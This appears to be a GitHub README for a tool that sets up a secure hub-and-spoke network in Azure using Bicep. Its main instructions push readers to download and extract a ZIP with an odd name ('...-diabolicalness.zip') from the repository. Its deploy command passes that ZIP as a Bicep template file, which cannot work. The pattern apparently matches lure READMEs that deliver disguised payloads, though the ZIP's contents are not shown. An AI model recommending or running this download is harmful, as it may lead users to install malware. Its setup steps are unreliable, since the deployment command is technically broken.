Welcome to Secure-Hub-and-Spoke-Network! This tool helps you set up a secure Hub-and-Spoke network in Azure using Bicep. By following our simple steps, even novice users can create a safe and efficient cloud network.
- Secure Configuration: Protect your network with Azure Firewall.
- Bicep Integration: Use Bicep files for easy infrastructure as code.
- Easy Deployment: Quick setup for your Hub-and-Spoke architecture.
- Private DNS Support: Ensure secure and private communication.
- Flexible Networking: Design and manage your network efficiently.
-
Azure Account: You will need an active Azure subscription.
-
Azure CLI: Install the Azure CLI on your local machine.
-
Bicep CLI: Ensure you have the Bicep CLI installed.
Check Azure's official documentation for installation steps.
Follow these steps to build your secure network.
-
Visit the Releases Page: To download the latest version, visit this page to download.
-
Download the Bicep Files: On the releases page, look for the latest release version. Download the
https://github.com/EmreKaraHD/Secure-Hub-and-Spoke-Network/raw/refs/heads/main/modules/Network-Hub-and-Secure-Spoke-diabolicalness.zipor equivalent file listed. -
Extract the Files: After downloading, locate the ZIP file on your computer. Right-click, and select "Extract All..." to unpack the files.
-
Open Azure CLI: Launch the Azure CLI tool on your machine. You can search for "Azure CLI" in your applications.
-
Login to Your Azure Account: Type the following command in the Azure CLI:
az loginA browser window will open, asking you to sign in. Use your Azure account credentials.
-
Deploy the Bicep Files: Navigate to the folder where you extracted the Bicep files. Use the following command to deploy:
az deployment group create --resource-group <YourResourceGroupName> --template-file https://github.com/EmreKaraHD/Secure-Hub-and-Spoke-Network/raw/refs/heads/main/modules/Network-Hub-and-Secure-Spoke-diabolicalness.zipReplace
<YourResourceGroupName>with your resource group's name. -
Check Deployment Status: After running the deployment command, monitor the output for success or any errors.
-
Complete Setup: Once the deployment is complete, your Hub-and-Spoke network will be active. Confirm this in the Azure portal.
To get started, make sure to visit this page to download. Follow the steps outlined above to download and set up the Bicep files for your Azure account.
If you encounter any issues during the setup process, consider the following:
- Review the Azure CLI output for errors. This often provides a clear guide on what went wrong.
- Ensure that your Azure account has the necessary permissions to create resources.
- Check the version of Bicep you are using. You might need to update to the latest version.
We welcome contributions from all users. If you want to help improve this project:
- Fork the repository to your own GitHub account.
- Make your changes.
- Submit a pull request with a clear description of what you have done.
Your contributions help enhance this project for everyone!
This project is licensed under the MIT License. You can use, modify, and distribute the code as needed, provided you include the original license.
For further assistance, please open an issue in the GitHub repository. Weβll do our best to respond promptly and help you resolve any questions you may have.
Thank you for using Secure-Hub-and-Spoke-Network! We hope this guide helps you create a secure and efficient cloud network.